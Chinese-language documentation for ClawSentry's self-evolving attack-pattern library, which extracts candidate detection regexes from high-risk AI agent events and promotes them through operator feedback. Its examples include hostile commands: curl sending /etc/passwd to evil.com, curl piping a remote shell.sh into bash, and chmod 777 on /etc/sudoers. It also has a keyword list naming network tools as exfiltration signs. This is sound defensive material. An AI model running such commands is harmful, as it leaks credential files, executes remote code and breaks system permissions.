自进化模式库（Pattern Evolution）

概述

传统安全规则库依赖人工预定义，面对新型攻击手法时存在固有局限：规则覆盖滞后、对变种攻击缺乏适应能力。ClawSentry 的自进化模式库（Pattern Evolution，E-5）从这一问题出发，在生产环境真实 Agent 行为中持续学习，将高风险事件自动转化为候选攻击模式，再通过运维人员的人工反馈驱动模式的生命周期演进。

具体来说，每当 L1 或 L2 引擎将一个事件判定为高风险时，PatternEvolutionManager 会自动提取其工具调用和命令，清洗具体参数（URL、IP、路径）后生成可重用的正则表达式，作为候选模式存入持久化存储。运维人员随后可以通过 REST API 逐一确认（confirm）或标记为误报（false positive），系统据此自动完成模式升级或废弃。

被提升至 EXPERIMENTAL 或 STABLE 状态的模式将参与 L2 RuleBasedAnalyzer 的实际检测，与内置的 25 条核心模式协同工作，构成一套随时间增长的动态防御体系。

E-5 功能，默认关闭

自进化模式库默认处于禁用状态（CS_EVOLVING_ENABLED 默认为 false）。 这是有意为之的设计：在充分评估生产环境的噪声水平之前，候选提取和 API 写操作不会发生，避免对现有检测逻辑产生意外干扰。 启用前请确保已配置 CS_EVOLVED_PATTERNS_PATH，否则提取的模式无法持久化。

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模式生命周期

每个进化模式在其存在周期内处于以下四种状态之一。状态之间的迁移由用户反馈驱动，系统根据信心评分和反馈计数自动判断。

stateDiagram-v2
    [*] --> CANDIDATE : extract_candidate() 自动提取

    CANDIDATE --> EXPERIMENTAL : 第一次被用户确认 (confirmed=True)
    CANDIDATE --> DEPRECATED : FP 保护触发\n(total≥3 且 fp_rate>30%)

    EXPERIMENTAL --> STABLE : confirmed_count≥3 且 confidence≥0.7
    EXPERIMENTAL --> DEPRECATED : FP 保护触发\n(total≥3 且 fp_rate>30%)

    STABLE --> DEPRECATED : FP 保护触发\n(total≥3 且 fp_rate>30%)

    DEPRECATED --> [*]

各状态含义如下：

状态	值	参与 L2 检测	说明
CANDIDATE	"candidate"	否	初始状态，尚未经过人工验证，仅存储，不影响检测
EXPERIMENTAL	"experimental"	是	经过至少一次人工确认，进入实验性检测阶段
STABLE	"stable"	是	多次确认且信心评分达标，视为稳定可靠的检测规则
DEPRECATED	"deprecated"	否	误报率过高或被主动废弃，不再参与检测

is_active 属性是判断模式是否参与检测的唯一标准：

@property
def is_active(self) -> bool:
    """Only experimental and stable patterns participate in detection."""
    return self.status in (PatternStatus.EXPERIMENTAL, PatternStatus.STABLE)

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状态迁移规则

状态迁移由 promote_pattern() 函数处理，每次调用 confirm() 时触发。迁移规则按以下优先级顺序执行：

规则 1：FP 保护降级（最高优先级）

当任何状态的模式满足以下全部条件时，立即降级为 DEPRECATED，并返回 "deprecated_high_fp"：

• total = confirmed_count + false_positive_count >= 3（需要足够的数据点，避免因单次误报就废弃）
• fp_rate = false_positive_count / total > 0.30（误报率超过 30%）

此规则在所有升级检查之前执行。即便模式刚刚满足升级条件，只要误报率超标，仍会被废弃。

规则 2：CANDIDATE → EXPERIMENTAL

条件：用户首次确认（confirmed=True），且 FP 保护未触发。

返回值："promoted_to_experimental"

这是门槛最低的晋升：只需一次人工确认，模式即进入实验性检测阶段，开始对真实流量生效。

规则 3：EXPERIMENTAL → STABLE

条件：用户确认（confirmed=True），且 FP 保护未触发，且同时满足：

• confirmed_count >= 3
• compute_confidence(...) >= 0.70

返回值："promoted_to_stable"

若 confirmed_count 达到 3 但信心评分不足 0.70，则保持 EXPERIMENTAL 状态，返回 "confirmed"。

其他返回值

返回值	触发条件
"disabled"	CS_EVOLVING_ENABLED 未启用
"not_found"	指定 pattern_id 不存在
"confirmed"	确认成功，但未满足晋升条件
"fp_recorded"	误报已记录，未触发降级（数据点不足或 fp_rate≤30%）

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信心评分

compute_confidence() 综合 5 个维度计算 0.0–1.0 范围内的信心分数，用于判断模式是否达到 STABLE 晋升门槛（≥ 0.70）。

公式

\[ \text{confidence} = 0.30 \times R_c + 0.20 \times R_f + 0.20 \times R_x + 0.20 \times R_a + 0.10 \times R_t \]

各因子详解

因子	权重	变量名	计算方式
确认率	30%	\(R_c\)	confirmed_count / max(total, 1)
触发频率	20%	\(R_f\)	min(trigger_count / 10.0, 1.0)（触发 10 次为满分）
跨框架加成	20%	\(R_x\)	min((framework_count - 1) / 2.0, 1.0)
准确率	20%	\(R_a\)	1.0 - fp_rate
时效性	10%	\(R_t\)	见下表

跨框架加成 \(R_x\) 的取值说明：

来源框架数	\(R_x\) 值
1 个（如仅 a3s-code）	0.0
2 个（a3s-code + openclaw）	0.5
3 个及以上	1.0

时效性 \(R_t\) 的衰减规则：

距上次触发时间	\(R_t\) 值
≤ 7 天	1.0
≤ 30 天	0.5
> 30 天	0.2

示例

假设一个模式被确认 3 次、误报 0 次、触发 5 次、来源框架 1 个、距上次触发 3 天：

R_c = 3 / max(3+0, 1) = 1.0
R_f = min(5 / 10.0, 1.0) = 0.5
R_x = min((1-1) / 2.0, 1.0) = 0.0
R_a = 1.0 - 0/3 = 1.0
R_t = 1.0  (3天 ≤ 7天)

confidence = 0.30×1.0 + 0.20×0.5 + 0.20×0.0 + 0.20×1.0 + 0.10×1.0
           = 0.30 + 0.10 + 0.00 + 0.20 + 0.10
           = 0.70  ← 恰好满足 STABLE 晋升门槛

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快速启用

步骤一：配置环境变量

环境变量.env 文件agent.hcl

export CS_EVOLVING_ENABLED=true
export CS_EVOLVED_PATTERNS_PATH=/var/lib/clawsentry/evolved_patterns.yaml

CS_EVOLVING_ENABLED=true
CS_EVOLVED_PATTERNS_PATH=/var/lib/clawsentry/evolved_patterns.yaml

env {
  CS_EVOLVING_ENABLED          = "true"
  CS_EVOLVED_PATTERNS_PATH     = "/var/lib/clawsentry/evolved_patterns.yaml"
}

持久化路径必须可写

CS_EVOLVED_PATTERNS_PATH 所在目录必须对 Gateway 进程可写。首次写入时， 系统会自动创建目录（os.makedirs(parent, exist_ok=True)）。

步骤二：启动 Gateway

clawsentry-gateway

Gateway 启动后，每当 L1 或 L2 将事件判定为高风险，PatternEvolutionManager.extract_candidate() 将自动被调用，提取候选模式并存入 YAML 文件。

步骤三：查询候选模式

curl -s http://localhost:8080/ahp/patterns \
  -H "Authorization: Bearer <CS_AUTH_TOKEN>" | jq .

步骤四：通过 API 确认或拒绝模式

# 确认：驱动模式向 EXPERIMENTAL/STABLE 晋升
curl -s -X POST http://localhost:8080/ahp/patterns/confirm \
  -H "Authorization: Bearer <CS_AUTH_TOKEN>" \
  -H "Content-Type: application/json" \
  -d '{"pattern_id": "EV-A3F8B2C1", "confirmed": true}'

# 拒绝（标记为误报）
curl -s -X POST http://localhost:8080/ahp/patterns/confirm \
  -H "Authorization: Bearer <CS_AUTH_TOKEN>" \
  -H "Content-Type: application/json" \
  -d '{"pattern_id": "EV-A3F8B2C1", "confirmed": false}'

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API 使用

所有端点均需要 Bearer token 认证（CS_AUTH_TOKEN 环境变量）。

查询进化模式列表

GET /ahp/patterns

列出存储中所有进化模式（包括所有状态），未开启 CS_EVOLVING_ENABLED 时返回空列表。

请求示例：

curl http://localhost:8080/ahp/patterns \
  -H "Authorization: Bearer your-token-here"

响应示例：

{
  "patterns": [
    {
      "id": "EV-A3F8B2C1",
      "category": "data_exfiltration",
      "description": "Auto-extracted from event evt-001: curl http://evil.com -d @/etc/passwd",
      "risk_level": "high",
      "status": "experimental",
      "confidence": 0.72,
      "source_framework": "a3s-code",
      "confirmed_count": 2,
      "false_positive_count": 0,
      "created_at": "2026-03-24T10:30:00+00:00"
    },
    {
      "id": "EV-C7D2E4F0",
      "category": "privilege_abuse",
      "description": "Auto-extracted from event evt-042: sudo chmod 777 /etc/sudoers",
      "risk_level": "critical",
      "status": "candidate",
      "confidence": 0.0,
      "source_framework": "openclaw",
      "confirmed_count": 0,
      "false_positive_count": 0,
      "created_at": "2026-03-24T14:15:00+00:00"
    }
  ]
}

确认/拒绝模式

POST /ahp/patterns/confirm

处理一次用户反馈，驱动模式状态迁移。每次调用后自动持久化（store.save()）。

请求体：

{
  "pattern_id": "EV-A3F8B2C1",
  "confirmed": true
}

字段	类型	说明
pattern_id	string	模式 ID，格式为 EV-XXXXXXXX
confirmed	boolean	true 表示确认为真实攻击，false 表示标记为误报

响应示例：

晋升至 EXPERIMENTAL晋升至 STABLEFP 保护触发，降级为 DEPRECATED确认成功（未晋升）误报已记录（未降级）模式不存在

{
  "result": "promoted_to_experimental",
  "pattern_id": "EV-A3F8B2C1"
}

{
  "result": "promoted_to_stable",
  "pattern_id": "EV-A3F8B2C1"
}

{
  "result": "deprecated_high_fp",
  "pattern_id": "EV-A3F8B2C1"
}

{
  "result": "confirmed",
  "pattern_id": "EV-A3F8B2C1"
}

{
  "result": "fp_recorded",
  "pattern_id": "EV-A3F8B2C1"
}

{
  "result": "not_found",
  "pattern_id": "EV-NONEXIST"
}

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双源加载机制

L2 RuleBasedAnalyzer 使用 load_patterns() 函数同时加载两个来源的模式，合并后传入 PatternMatcher：

def load_patterns(
    path: Optional[str] = None,
    *,
    evolved_path: Optional[str] = None,
) -> list[AttackPattern]:
    ...

加载流程

flowchart TD
    A[load_patterns 调用] --> B[加载内置核心模式\nattack_patterns.yaml\n25 条 v1.1]
    A --> C{evolved_path\n是否配置?}
    C -- 否 --> E[仅返回核心模式]
    C -- 是 --> D[读取进化模式 YAML]
    D --> F{解析每个模式\n检查 is_active}
    F -- is_active=True\nEXPERIMENTAL/STABLE --> G[追加到模式列表]
    F -- is_active=False\nCANDIDATE/DEPRECATED --> H[跳过，不参与检测]
    B --> I[合并列表返回]
    G --> I
    E --> I

冲突处理

若进化模式的 ID 与内置核心模式 ID 冲突（理论上不应发生，因为进化模式使用 EV- 前缀），则记录警告并跳过该进化模式：

if ep.id in core_ids:
    logger.warning("evolved pattern %s conflicts with core, skipping", ep.id)
    continue

热重载

PatternMatcher.reload() 可在不重启进程的情况下从磁盘重新加载全部模式（含进化模式），适用于在 API 确认后立即更新检测逻辑的场景。

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配置参考

环境变量	类型	默认值	说明
CS_EVOLVING_ENABLED	bool	false	设为 1/true/yes 开启自进化功能（候选提取 + API 写操作）
CS_EVOLVED_PATTERNS_PATH	string	—（未设置）	进化模式 YAML 文件的持久化路径；未设置时功能无法持久化

布尔值解析

CS_EVOLVING_ENABLED 接受 1、true、yes（大小写不敏感）视为真值， 其余任何值（含未设置）视为 false。

PatternEvolutionManager 的完整初始化参数：

参数	类型	默认值	说明
store_path	str	—	YAML 存储路径，对应 CS_EVOLVED_PATTERNS_PATH
enabled	bool	False	对应 CS_EVOLVING_ENABLED
max_patterns	int	500	存储上限，超出时按驱逐顺序淘汰旧模式

驱逐优先级

当存储达到 max_patterns 上限时，系统按以下顺序驱逐旧模式（取最旧的一条）：

1. 首先驱逐 DEPRECATED 状态的模式（按 created_at 升序）
2. 其次驱逐 CANDIDATE 状态的模式（按 created_at 升序）
3. 若全部模式均为 EXPERIMENTAL 或 STABLE（均不可驱逐），则 add() 返回 False，新候选被丢弃

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候选提取机制

extract_candidate() 在 Gateway 处理高风险事件时自动调用，其内部逻辑如下：

命令去重

对 f"{tool_name}:{command}" 计算 SHA-256，取前 16 位十六进制字符作为去重键。相同命令无论触发多少次，都只生成一个候选模式：

cmd_hash = sha256("bash:curl http://evil.com -d @/etc/passwd")[:16]
pattern_id = f"EV-{cmd_hash[:8].upper()}"  # 例如 EV-A3F8B2C1

类别推断

类别由 _infer_category() 按以下优先级推断：

1. reasons 中的 ASI 编号（最高优先级）：

   ASI 编号	映射类别
   ASI01	goal_hijack
   ASI02	data_exfiltration
   ASI03	privilege_abuse
   ASI04	supply_chain
   ASI05	code_execution

2. 命令关键词匹配（次优先级）：

   关键词	映射类别
   curl, wget, nc, ncat	data_exfiltration
   sudo, chmod, chown	privilege_abuse
   eval, exec, python -c, bash -c	code_execution

3. "unknown"（兜底）

正则清洗

_sanitize_for_regex() 将命令中的具体参数替换为通配符，生成可重用的检测正则：

• HTTP/HTTPS URL → https?://[^\s]+
• IPv4 地址 → \d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}
• 文件路径 → [\w./-]+

例如 curl http://10.0.0.1/shell.sh | bash 会被清洗为 curl https?://[^\s]+ [\w./-]+ | bash，可以匹配同类变种攻击。

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SSE 事件

当模式状态发生变化时（由 confirm() 触发），Gateway 通过 SSE 广播 pattern_evolved 事件，订阅了 /ahp/events 的客户端（如 Web 仪表板）可实时感知状态变更。

{
  "event": "pattern_evolved",
  "data": {
    "pattern_id": "EV-A3F8B2C1",
    "result": "promoted_to_experimental"
  }
}

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代码位置

模块	路径	职责
自进化核心	src/clawsentry/gateway/pattern_evolution.py	EvolvedPattern 数据结构、EvolvedPatternStore 持久化、compute_confidence() 评分、promote_pattern() 状态迁移、PatternEvolutionManager 编排
模式加载与匹配	src/clawsentry/gateway/pattern_matcher.py	load_patterns() 双源加载、is_active 过滤、PatternMatcher 匹配引擎
内置模式库	src/clawsentry/gateway/attack_patterns.yaml	25 条内置核心模式（v1.1），不受进化管理
配置集成	src/clawsentry/gateway/detection_config.py	DetectionConfig.evolving_enabled + evolved_patterns_path 字段
REST API	src/clawsentry/gateway/server.py	GET /ahp/patterns + POST /ahp/patterns/confirm 端点实现

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相关页面

• 攻击模式定制 — 静态 YAML 攻击模式库（自进化的"种子"来源）
• L2 语义分析 — PatternMatcher 集成点，候选模式的触发层
• 检测管线配置 — CS_EVOLVING_ENABLED、CS_EVOLVED_PATTERNS_PATH 参数
• REST API → /ahp/patterns — 模式确认/拒绝的 API 端点